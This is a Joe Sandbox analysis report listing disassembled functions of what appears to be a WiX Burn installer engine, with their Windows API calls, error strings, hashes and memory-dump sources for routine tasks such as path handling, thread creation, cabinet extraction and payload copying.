GetFullPathNameW.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000), ref: 009A323B
GetLastError.KERNEL32 ref: 009A3245

Strings

pathutil.cpp, xrefs: 009A30EB
@, xrefs: 009A309B

Memory Dump Source

Source File: 00000010.00000002.2205818822.00000000009A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000010.00000002.2205726056.00000000009A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206367024.00000000009EB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206546436.0000000000A0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2207037303.0000000000A0D000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_9a0000_IMAKBWPY.jbxd

Similarity

API ID: ErrorLast$EnvironmentExpandFullNamePathStrings
String ID: @$pathutil.cpp
API String ID: 1547313835-3022285739
Opcode ID: bee857a81915e1ae67f378fed9c2461e630ce3be55b913285ce2a76ef9fb5763
Instruction ID: 4d63da505c71512b5ef9465e13427937691e12c40e5751595642e379b06a6227
Opcode Fuzzy Hash: bee857a81915e1ae67f378fed9c2461e630ce3be55b913285ce2a76ef9fb5763
Instruction Fuzzy Hash: AD61C473D04229ABDB219AE58C44B9EBBA8AF46764F11C165FE10BB150E735DF009BD0

Function 009E6D50 Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 165COMMON

Download Yara Rule

APIs

CompareStringW.KERNEL32(0000007F,00000000,?,000000FF,label,000000FF,?,?,?,74DEDFD0,?,009E72C8,?,?), ref: 009E6DA6
SysFreeString.OLEAUT32(00000000), ref: 009E6E11
SysFreeString.OLEAUT32(00000000), ref: 009E6E89
SysFreeString.OLEAUT32(00000000), ref: 009E6EC8

Strings

scheme, xrefs: 009E6DB9
`<u, xrefs: 009E6E11, 009E6E89, 009E6EC8
label, xrefs: 009E6D98
term, xrefs: 009E6DD9

Memory Dump Source

Source File: 00000010.00000002.2205818822.00000000009A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000010.00000002.2205726056.00000000009A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206367024.00000000009EB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206546436.0000000000A0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2207037303.0000000000A0D000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_9a0000_IMAKBWPY.jbxd

Similarity

API ID: String$Free$Compare
String ID: `<u$label$scheme$term
API String ID: 1324494773-4028212031
Opcode ID: 75c5202d90acd71e1a1ab4778726ea82afc7442599ae0333525fa1a85449b6cc
Instruction ID: 6727394f2c346ee54a6a845a0e734c0c04c410724278e382e929744889079a5a
Opcode Fuzzy Hash: 75c5202d90acd71e1a1ab4778726ea82afc7442599ae0333525fa1a85449b6cc
Instruction Fuzzy Hash: 94518E35901259FBCB26CB95CC49FAEBBB8EF14361F2042A8E521AB1E1D7309E50DB50

Function 009B4D8D Relevance: 17.6, APIs: 4, Strings: 6, Instructions: 122COMMON

Download Yara Rule

APIs

UuidCreate.RPCRT4(?), ref: 009B4DC0
StringFromGUID2.OLE32(?,?,00000027), ref: 009B4DEF
UuidCreate.RPCRT4(?), ref: 009B4E3A
StringFromGUID2.OLE32(?,?,00000027), ref: 009B4E66

Strings

Failed to allocate pipe secret., xrefs: 009B4E8F
Failed to convert pipe guid into string., xrefs: 009B4E0C
pipe.cpp, xrefs: 009B4E00, 009B4E4D
Failed to create pipe guid., xrefs: 009B4DCD
Failed to allocate pipe name., xrefs: 009B4E2F
BurnPipe.%s, xrefs: 009B4E1B

Memory Dump Source

Source File: 00000010.00000002.2205818822.00000000009A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000010.00000002.2205726056.00000000009A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206367024.00000000009EB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206546436.0000000000A0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2207037303.0000000000A0D000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_9a0000_IMAKBWPY.jbxd

Similarity

API ID: CreateFromStringUuid
String ID: BurnPipe.%s$Failed to allocate pipe name.$Failed to allocate pipe secret.$Failed to convert pipe guid into string.$Failed to create pipe guid.$pipe.cpp
API String ID: 4041566446-2510341293
Opcode ID: f987536376073e0291669e14449a27ee9a8d14f40ea36cf8852b747f433cb626
Instruction ID: 9a96bc3c4b5aa65834502e08dd90025dc319c3c1fa4cab8ea99ce3a03dd78421
Opcode Fuzzy Hash: f987536376073e0291669e14449a27ee9a8d14f40ea36cf8852b747f433cb626
Instruction Fuzzy Hash: 2A418C32D0430CABCB11DBE5CE45FEEB7FCAB84720F200526F905AB242D6749945DB90

Function 009BEA7D Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 101threadCOMMON

Download Yara Rule

APIs

CreateEventW.KERNEL32(00000000,00000001,00000000,00000000,?,00000000,?,?,009A548E,?,?), ref: 009BEA9D
GetLastError.KERNEL32(?,009A548E,?,?), ref: 009BEAAA
CreateThread.KERNEL32(00000000,00000000,009BE7B4,?,00000000,00000000), ref: 009BEB03
GetLastError.KERNEL32(?,009A548E,?,?), ref: 009BEB10
WaitForMultipleObjects.KERNEL32(00000002,?,00000000,000000FF,?,009A548E,?,?), ref: 009BEB4B
CloseHandle.KERNEL32(00000000,?,009A548E,?,?), ref: 009BEB6A
CloseHandle.KERNEL32(?,?,009A548E,?,?), ref: 009BEB77

Strings

Failed to create the UI thread., xrefs: 009BEB3B
Failed to create initialization event., xrefs: 009BEAD5
uithread.cpp, xrefs: 009BEACB, 009BEB31

Memory Dump Source

Source File: 00000010.00000002.2205818822.00000000009A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000010.00000002.2205726056.00000000009A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206367024.00000000009EB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206546436.0000000000A0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2207037303.0000000000A0D000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_9a0000_IMAKBWPY.jbxd

Similarity

API ID: CloseCreateErrorHandleLast$EventMultipleObjectsThreadWait
String ID: Failed to create initialization event.$Failed to create the UI thread.$uithread.cpp
API String ID: 2351989216-3599963359
Opcode ID: f9637fd7754a8d2b111dd02218937979fb03afddc252375a0d58d552df83e6ac
Instruction ID: d4431dde3950e3f1d43dd32fcd27d0e38860f2b3ec220adfe52e5efc324b4cb5
Opcode Fuzzy Hash: f9637fd7754a8d2b111dd02218937979fb03afddc252375a0d58d552df83e6ac
Instruction Fuzzy Hash: ED319476D01229BBDB10DFD99D85AEFBABCFF04360F110165BA14F7240E6309E0096A0

Function 009BE645 Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 97threadCOMMON

Download Yara Rule

APIs

CreateEventW.KERNEL32(00000000,00000001,00000000,00000000,?,00000000,00000000,?,?,009A548E,?,?), ref: 009BE666
GetLastError.KERNEL32(?,?,009A548E,?,?), ref: 009BE673
CreateThread.KERNEL32(00000000,00000000,009BE3C8,00000000,00000000,00000000), ref: 009BE6D2
GetLastError.KERNEL32(?,?,009A548E,?,?), ref: 009BE6DF
WaitForMultipleObjects.KERNEL32(00000002,?,00000000,000000FF,?,?,009A548E,?,?), ref: 009BE71A
CloseHandle.KERNEL32(?,?,?,009A548E,?,?), ref: 009BE72E
CloseHandle.KERNEL32(?,?,?,009A548E,?,?), ref: 009BE73B

Strings

Failed to create modal event., xrefs: 009BE69E
Failed to create UI thread., xrefs: 009BE70A
splashscreen.cpp, xrefs: 009BE694, 009BE700

Memory Dump Source

Source File: 00000010.00000002.2205818822.00000000009A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000010.00000002.2205726056.00000000009A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206367024.00000000009EB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206546436.0000000000A0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2207037303.0000000000A0D000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_9a0000_IMAKBWPY.jbxd

Similarity

API ID: CloseCreateErrorHandleLast$EventMultipleObjectsThreadWait
String ID: Failed to create UI thread.$Failed to create modal event.$splashscreen.cpp
API String ID: 2351989216-1977201954
Opcode ID: 867ad5a0039f3bff649b6726c0c724e1ad6f960e118d2ec8e5cf1fa4b6a4eb1a
Instruction ID: dcf297cbb03d5ff67c49d86676adaacb140dcb33ee3025cf18de9cd73179fc80
Opcode Fuzzy Hash: 867ad5a0039f3bff649b6726c0c724e1ad6f960e118d2ec8e5cf1fa4b6a4eb1a
Instruction Fuzzy Hash: 22317476D0022ABBDB219B99CD45AEFBBBCAF94720F114156FE20F6250E7745E008AD1

Function 009C14E1 Relevance: 17.6, APIs: 6, Strings: 4, Instructions: 91threadCOMMON

Download Yara Rule

APIs

WaitForMultipleObjects.KERNEL32(00000002,?,00000000,000000FF,?,74DF2F60,?,?,009A5405,009A53BD,00000000,009A5445), ref: 009C1506
GetLastError.KERNEL32 ref: 009C1519
GetExitCodeThread.KERNEL32(009EB488,?), ref: 009C155B
GetLastError.KERNEL32 ref: 009C1569
ResetEvent.KERNEL32(009EB460), ref: 009C15A4
GetLastError.KERNEL32 ref: 009C15AE

Strings

Failed to wait for operation complete event., xrefs: 009C154A
cabextract.cpp, xrefs: 009C1540, 009C1590, 009C15D5
Failed to reset operation complete event., xrefs: 009C15DF
Failed to get extraction thread exit code., xrefs: 009C159A

Memory Dump Source

Source File: 00000010.00000002.2205818822.00000000009A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000010.00000002.2205726056.00000000009A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206367024.00000000009EB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206546436.0000000000A0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2207037303.0000000000A0D000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_9a0000_IMAKBWPY.jbxd

Similarity

API ID: ErrorLast$CodeEventExitMultipleObjectsResetThreadWait
String ID: Failed to get extraction thread exit code.$Failed to reset operation complete event.$Failed to wait for operation complete event.$cabextract.cpp
API String ID: 2979751695-3400260300
Opcode ID: 735b37e4bc2ef5da75267bb378c8a98a87937e353b73eb8d8c64b713af50db36
Instruction ID: 28bd151aba3abee038bd79852fbbec2bfb11a2aed94587c1e857a70a1617ce1b
Opcode Fuzzy Hash: 735b37e4bc2ef5da75267bb378c8a98a87937e353b73eb8d8c64b713af50db36
Instruction Fuzzy Hash: AA31A7B0E40245ABD7109FA98D41B7F76E8EF85710B10406AFA15DA261E774DE00AB56

Function 009C15FE Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 82synchronizationCOMMON

Download Yara Rule

APIs

SetEvent.KERNEL32(009EB478,?,00000000,?,009AC1D3,?,009A53BD,00000000,?,009B784D,?,009A566D,009A5479,009A5479,00000000,?), ref: 009C161B
GetLastError.KERNEL32(?,009AC1D3,?,009A53BD,00000000,?,009B784D,?,009A566D,009A5479,009A5479,00000000,?,009A5489,FFF9E89D,009A5489), ref: 009C1625
WaitForSingleObject.KERNEL32(009EB488,000000FF,?,009AC1D3,?,009A53BD,00000000,?,009B784D,?,009A566D,009A5479,009A5479,00000000,?,009A5489), ref: 009C165F
GetLastError.KERNEL32(?,009AC1D3,?,009A53BD,00000000,?,009B784D,?,009A566D,009A5479,009A5479,00000000,?,009A5489,FFF9E89D,009A5489), ref: 009C1669
CloseHandle.KERNEL32(00000000,009A5489,?,00000000,?,009AC1D3,?,009A53BD,00000000,?,009B784D,?,009A566D,009A5479,009A5479,00000000), ref: 009C16B4
CloseHandle.KERNEL32(00000000,009A5489,?,00000000,?,009AC1D3,?,009A53BD,00000000,?,009B784D,?,009A566D,009A5479,009A5479,00000000), ref: 009C16C3
CloseHandle.KERNEL32(00000000,009A5489,?,00000000,?,009AC1D3,?,009A53BD,00000000,?,009B784D,?,009A566D,009A5479,009A5479,00000000), ref: 009C16D2

Strings

Failed to set begin operation event., xrefs: 009C1653
cabextract.cpp, xrefs: 009C1649, 009C168D
Failed to wait for thread to terminate., xrefs: 009C1697

Memory Dump Source

Source File: 00000010.00000002.2205818822.00000000009A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000010.00000002.2205726056.00000000009A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206367024.00000000009EB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206546436.0000000000A0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2207037303.0000000000A0D000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_9a0000_IMAKBWPY.jbxd

Similarity

API ID: CloseHandle$ErrorLast$EventObjectSingleWait
String ID: Failed to set begin operation event.$Failed to wait for thread to terminate.$cabextract.cpp
API String ID: 1206859064-226982402
Opcode ID: dc0a39f1bca7f6a5f51586874cd968be834ec3f4bd0d28a2c6c3d1f365040a28
Instruction ID: eb9efe21f85d22d9c84f710a06ff29f40865d25eb988e3294dbd685de90d5385
Opcode Fuzzy Hash: dc0a39f1bca7f6a5f51586874cd968be834ec3f4bd0d28a2c6c3d1f365040a28
Instruction Fuzzy Hash: 50216B33900A22B7D7315B55CD09F16B6A8BF09735F050229FA0865AA1D374FC60DBDE

Function 009B41EC Relevance: 17.6, APIs: 4, Strings: 6, Instructions: 55COMMON

Download Yara Rule

APIs

Part of subcall function 009E0523: EnterCriticalSection.KERNEL32(00A0B5FC,00000000,?,?,?,009B4207,00000000,Setup,_Failed,txt,00000000,00000000,00000000,00000001,009A54FA,?), ref: 009E0533
Part of subcall function 009E0523: LeaveCriticalSection.KERNEL32(00A0B5FC,?,?,00A0B5F4,?,009B4207,00000000,Setup,_Failed,txt,00000000,00000000,00000000,00000001,009A54FA,?), ref: 009E067A

OpenEventLogW.ADVAPI32(00000000,Application), ref: 009B4212
GetLastError.KERNEL32(?,?,?,?,?,?,?,00000000,?,?,?,?,?,?), ref: 009B421E
ReportEventW.ADVAPI32(00000000,00000001,00000001,00000001,00000000,00000001,00000000,009F39D4,00000000), ref: 009B426B
CloseEventLog.ADVAPI32(00000000), ref: 009B4272

Strings

Setup, xrefs: 009B41FC
txt, xrefs: 009B41F2
Failed to open Application event log, xrefs: 009B424C
_Failed, xrefs: 009B41F7
logging.cpp, xrefs: 009B4242
Application, xrefs: 009B420C

Memory Dump Source

Source File: 00000010.00000002.2205818822.00000000009A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000010.00000002.2205726056.00000000009A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206367024.00000000009EB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206546436.0000000000A0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2207037303.0000000000A0D000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_9a0000_IMAKBWPY.jbxd

Similarity

API ID: Event$CriticalSection$CloseEnterErrorLastLeaveOpenReport
String ID: Application$Failed to open Application event log$Setup$_Failed$logging.cpp$txt
API String ID: 1844635321-1389066741
Opcode ID: 4a0c8b69e37d90125cc1502663eca31921e3ce6fe538557d6bb2e62f967a9cce
Instruction ID: c3531cc63fa35908c37cbeb6eef4930d7d89670c8130d669ae76d360dd59f465
Opcode Fuzzy Hash: 4a0c8b69e37d90125cc1502663eca31921e3ce6fe538557d6bb2e62f967a9cce
Instruction Fuzzy Hash: 16F0F433A812B57A563222A35D1EEBF2C6CDAC6F3A3014015BE20F5182DB489D01A2F4

Function 009B93FE Relevance: 16.7, APIs: 2, Strings: 9, Instructions: 226COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(000007D0,000007D0,00000000,00000000,?,00000000,00000000,00000003,00000000,00000000), ref: 009B949E
GetLastError.KERNEL32(000007D0,000007D0,00000000,00000000,000007D0,00000001), ref: 009B94C6

Strings

Failed to get file hash., xrefs: 009B94F0
Failed to allocate memory, xrefs: 009B946F
Failed to allocate string., xrefs: 009B9534
Failed to encode file hash., xrefs: 009B9551
Could not close verify handle., xrefs: 009B9655
Could not verify file %ls., xrefs: 009B9607
$, xrefs: 009B959D
cache.cpp, xrefs: 009B94E6, 009B95FA, 009B964B
0, xrefs: 009B955E

Memory Dump Source

Source File: 00000010.00000002.2205818822.00000000009A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000010.00000002.2205726056.00000000009A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206367024.00000000009EB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206546436.0000000000A0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2207037303.0000000000A0D000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_9a0000_IMAKBWPY.jbxd

Similarity

API ID: ErrorLast
String ID: $$0$Could not close verify handle.$Could not verify file %ls.$Failed to allocate memory$Failed to allocate string.$Failed to encode file hash.$Failed to get file hash.$cache.cpp
API String ID: 1452528299-4263581490
Opcode ID: 15222928f2698394a9563edf6e65c37d8e1269a5130508e68a3435d2a41a3be2
Instruction ID: efd9e12065ae248d8e2d79d33369bd0b71afa69dff62bef51095d882b1112d7e
Opcode Fuzzy Hash: 15222928f2698394a9563edf6e65c37d8e1269a5130508e68a3435d2a41a3be2
Instruction Fuzzy Hash: 35718272D5022DABDB21DFD4C941BEEB7B8AB49720F114126FE15FB291E7749D008BA0

Function 009BE56C Relevance: 16.6, APIs: 11, Instructions: 86windowCOMMON

Download Yara Rule

APIs

GetWindowLongW.USER32(?,000000EB), ref: 009BE577
DefWindowProcW.USER32(?,00000082,?,?), ref: 009BE5B5
SetWindowLongW.USER32(?,000000EB,00000000), ref: 009BE5C2
SetWindowLongW.USER32(?,000000EB,?), ref: 009BE5D1
DefWindowProcW.USER32(?,?,?,?), ref: 009BE5DF
CreateCompatibleDC.GDI32(?), ref: 009BE5EB
SelectObject.GDI32(00000000,00000000), ref: 009BE5FC
StretchBlt.GDI32(?,00000000,00000000,?,?,00000000,00000000,00000000,?,?,00CC0020), ref: 009BE61E
SelectObject.GDI32(00000000,00000000), ref: 009BE626
DeleteDC.GDI32(00000000), ref: 009BE629
PostQuitMessage.USER32(00000000), ref: 009BE637

Memory Dump Source

Source File: 00000010.00000002.2205818822.00000000009A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000010.00000002.2205726056.00000000009A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206367024.00000000009EB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206546436.0000000000A0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2207037303.0000000000A0D000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_9a0000_IMAKBWPY.jbxd

Similarity

API ID: Window$Long$ObjectProcSelect$CompatibleCreateDeleteMessagePostQuitStretch
String ID:
API String ID: 409979828-0
Opcode ID: 5ca100b62317065778e2844381955d17fbb8f0909d02e11a7fdfb68ffbfc01be
Instruction ID: 07807f7039a23b13e60846053325d747f0f16f70782ac9e588e6416f41dd1986
Opcode Fuzzy Hash: 5ca100b62317065778e2844381955d17fbb8f0909d02e11a7fdfb68ffbfc01be
Instruction Fuzzy Hash: 8F21A932118248BFCB269F68DD9DDBB3FACEF49321B054618F6168A1B4D7719C10EB60

Function 009BA13A Relevance: 16.0, APIs: 1, Strings: 8, Instructions: 222COMMON

Download Yara Rule

Strings

Failed to combine last source with source., xrefs: 009BA210
Failed to combine layout source with source., xrefs: 009BA2A4
WixBundleLastUsedSource, xrefs: 009BA1A1
Failed to copy source path., xrefs: 009BA31A
Failed to get bundle layout directory property., xrefs: 009BA287
Failed to get current process directory., xrefs: 009BA1F3
WixBundleLayoutDirectory, xrefs: 009BA26C
WixBundleOriginalSource, xrefs: 009BA1B7

Memory Dump Source

Source File: 00000010.00000002.2205818822.00000000009A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000010.00000002.2205726056.00000000009A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206367024.00000000009EB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206546436.0000000000A0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2207037303.0000000000A0D000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_9a0000_IMAKBWPY.jbxd

Similarity

API ID: Find$CloseFileFirstlstrlen
String ID: Failed to combine last source with source.$Failed to combine layout source with source.$Failed to copy source path.$Failed to get bundle layout directory property.$Failed to get current process directory.$WixBundleLastUsedSource$WixBundleLayoutDirectory$WixBundleOriginalSource
API String ID: 2767606509-3003062821
Opcode ID: a4fac4a1baec6aa7abef7590627d67ef7b418ec64f0a3451b6777cf39d141b50
Instruction ID: d7a2b01fa9bb07834c89d25d75b0dae5759c3080110f49c00ab13b8df5fea019
Opcode Fuzzy Hash: a4fac4a1baec6aa7abef7590627d67ef7b418ec64f0a3451b6777cf39d141b50
Instruction Fuzzy Hash: B0717A71D0421DAFCF16DFA8C941AEEB7F9AF48720F110129F911B7260E7759D408BA2

Function 009A2DBF Relevance: 16.0, APIs: 7, Strings: 2, Instructions: 203sleepfiletimeCOMMON

Download Yara Rule

APIs

GetTempPathW.KERNEL32(00000104,?,00000000,00000000,00000000), ref: 009A2E5F
GetLastError.KERNEL32 ref: 009A2E69
GetLocalTime.KERNEL32(?,?,?,?,?,?), ref: 009A2F09
CreateFileW.KERNEL32(?,40000000,00000001,00000000,00000001,00000080,00000000), ref: 009A2F96
GetLastError.KERNEL32 ref: 009A2FA3
Sleep.KERNEL32(00000064), ref: 009A2FB7
CloseHandle.KERNEL32(?), ref: 009A301F

Strings

%ls_%04u%02u%02u%02u%02u%02u%ls%ls%ls, xrefs: 009A2F66
pathutil.cpp, xrefs: 009A2E8D

Memory Dump Source

Source File: 00000010.00000002.2205818822.00000000009A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000010.00000002.2205726056.00000000009A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206367024.00000000009EB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206546436.0000000000A0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2207037303.0000000000A0D000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_9a0000_IMAKBWPY.jbxd

Similarity

API ID: ErrorLast$CloseCreateFileHandleLocalPathSleepTempTime
String ID: %ls_%04u%02u%02u%02u%02u%02u%ls%ls%ls$pathutil.cpp
API String ID: 3480017824-1101990113
Opcode ID: c0edeba23fdd28e5ff4f67994c0ba2d0066f80cb42a7720e04bfd4f966639b2f
Instruction ID: b3ab60db19e1766858b7c12e97629145928b4caa1b32a1690a774b51b493f4d0
Opcode Fuzzy Hash: c0edeba23fdd28e5ff4f67994c0ba2d0066f80cb42a7720e04bfd4f966639b2f
Instruction Fuzzy Hash: A8716372D01239ABDB319FA9DC89BAEB7B8AB09710F1141D5FA04E7191D7349E809FD0

Function 009ACBC5 Relevance: 15.9, APIs: 1, Strings: 8, Instructions: 144COMMON

Download Yara Rule

APIs

CompareStringW.KERNEL32(0000007F,00000000,FFFEB88D,000000FF,00000001,000000FF,?,00000001,009A53BD,00000000,009A5489,009A5445,WixBundleUILevel,840F01E8,?,00000001), ref: 009ACC1C

Strings

payload.cpp, xrefs: 009ACD1D
Failed to concat file paths., xrefs: 009ACCFC
Payload was not found in container: %ls, xrefs: 009ACD29
Failed to ensure directory exists, xrefs: 009ACCEE
Failed to find embedded payload: %ls, xrefs: 009ACC48
Failed to get next stream., xrefs: 009ACD03
Failed to extract file., xrefs: 009ACCE7
Failed to get directory portion of local file path, xrefs: 009ACCF5

Memory Dump Source

Source File: 00000010.00000002.2205818822.00000000009A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000010.00000002.2205726056.00000000009A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206367024.00000000009EB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206546436.0000000000A0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2207037303.0000000000A0D000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_9a0000_IMAKBWPY.jbxd

Similarity

API ID: CompareString
String ID: Failed to concat file paths.$Failed to ensure directory exists$Failed to extract file.$Failed to find embedded payload: %ls$Failed to get directory portion of local file path$Failed to get next stream.$Payload was not found in container: %ls$payload.cpp
API String ID: 1825529933-1711239286
Opcode ID: 3b9e1aebfc1e26f52a98775c52de6a077fa0ab19e29b344e9a1ae3c2054f4d3e
Instruction ID: ef9869d4f747b0607351d62a3aba48ecfb5298fef5ad1e21e44c7111aaf1257d
Opcode Fuzzy Hash: 3b9e1aebfc1e26f52a98775c52de6a077fa0ab19e29b344e9a1ae3c2054f4d3e
Instruction Fuzzy Hash: D141E7B1900219EBCF269F49CC41A6DBBB9FF82720F11856AE855AF391D7709D40DBD0

Function 009A4796 Relevance: 15.9, APIs: 3, Strings: 6, Instructions: 128windowthreadCOMMON

Download Yara Rule

APIs

PeekMessageW.USER32(00000000,00000000,00000400,00000400,00000000), ref: 009A47BB
GetCurrentThreadId.KERNEL32 ref: 009A47C1
GetMessageW.USER32(00000000,00000000,00000000,00000000), ref: 009A484F

Strings

wininet.dll, xrefs: 009A47EE
Failed to load UX., xrefs: 009A4804
engine.cpp, xrefs: 009A489B
Failed to create engine for UX., xrefs: 009A47DB
Unexpected return value from message pump., xrefs: 009A48A5
Failed to start bootstrapper application., xrefs: 009A481D

Memory Dump Source

Source File: 00000010.00000002.2205818822.00000000009A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000010.00000002.2205726056.00000000009A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206367024.00000000009EB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206546436.0000000000A0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2207037303.0000000000A0D000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_9a0000_IMAKBWPY.jbxd

Similarity

API ID: Message$CurrentPeekThread
String ID: Failed to create engine for UX.$Failed to load UX.$Failed to start bootstrapper application.$Unexpected return value from message pump.$engine.cpp$wininet.dll
API String ID: 673430819-2573580774
Opcode ID: 783f3ca579646529087f1a2a04e02890b9254f70f0ed0872c848795716a95349
Instruction ID: 5b4424b487674152258476c153648b2b032793f3824f73cf197742c41f34ed79
Opcode Fuzzy Hash: 783f3ca579646529087f1a2a04e02890b9254f70f0ed0872c848795716a95349
Instruction Fuzzy Hash: C641D071A00195BFEB119BA8DC85FBBB3ACEF86324F100525F904E7290DB78AD0187E0

Function 009C9C84 Relevance: 15.9, APIs: 4, Strings: 5, Instructions: 128COMMON

Download Yara Rule

APIs

SetFileAttributesW.KERNEL32(00000000,00000000,00000000,00000000,?,?,?,00000000,00000000,00000000,?,?,009CB03E,?,00000001,00000000), ref: 009C9D0F
GetLastError.KERNEL32(?,?,?,00000000,00000000,00000000,?,?,009CB03E,?,00000001,00000000,00000000,00000000,00000001,00000000), ref: 009C9D19
CopyFileExW.KERNEL32(00000000,00000000,009C9B69,?,?,00000000,00000000,00000000,?,?,?,00000000,00000000,00000000), ref: 009C9D67
GetLastError.KERNEL32(?,?,?,00000000,00000000,00000000,?,?,009CB03E,?,00000001,00000000,00000000,00000000,00000001,00000000), ref: 009C9D96

Strings

BA aborted copy of payload from: '%ls' to: %ls., xrefs: 009C9D8F
Failed to clear readonly bit on payload destination path: %ls, xrefs: 009C9D48
copy, xrefs: 009C9CDD
Failed attempt to copy payload from: '%ls' to: %ls., xrefs: 009C9DC8
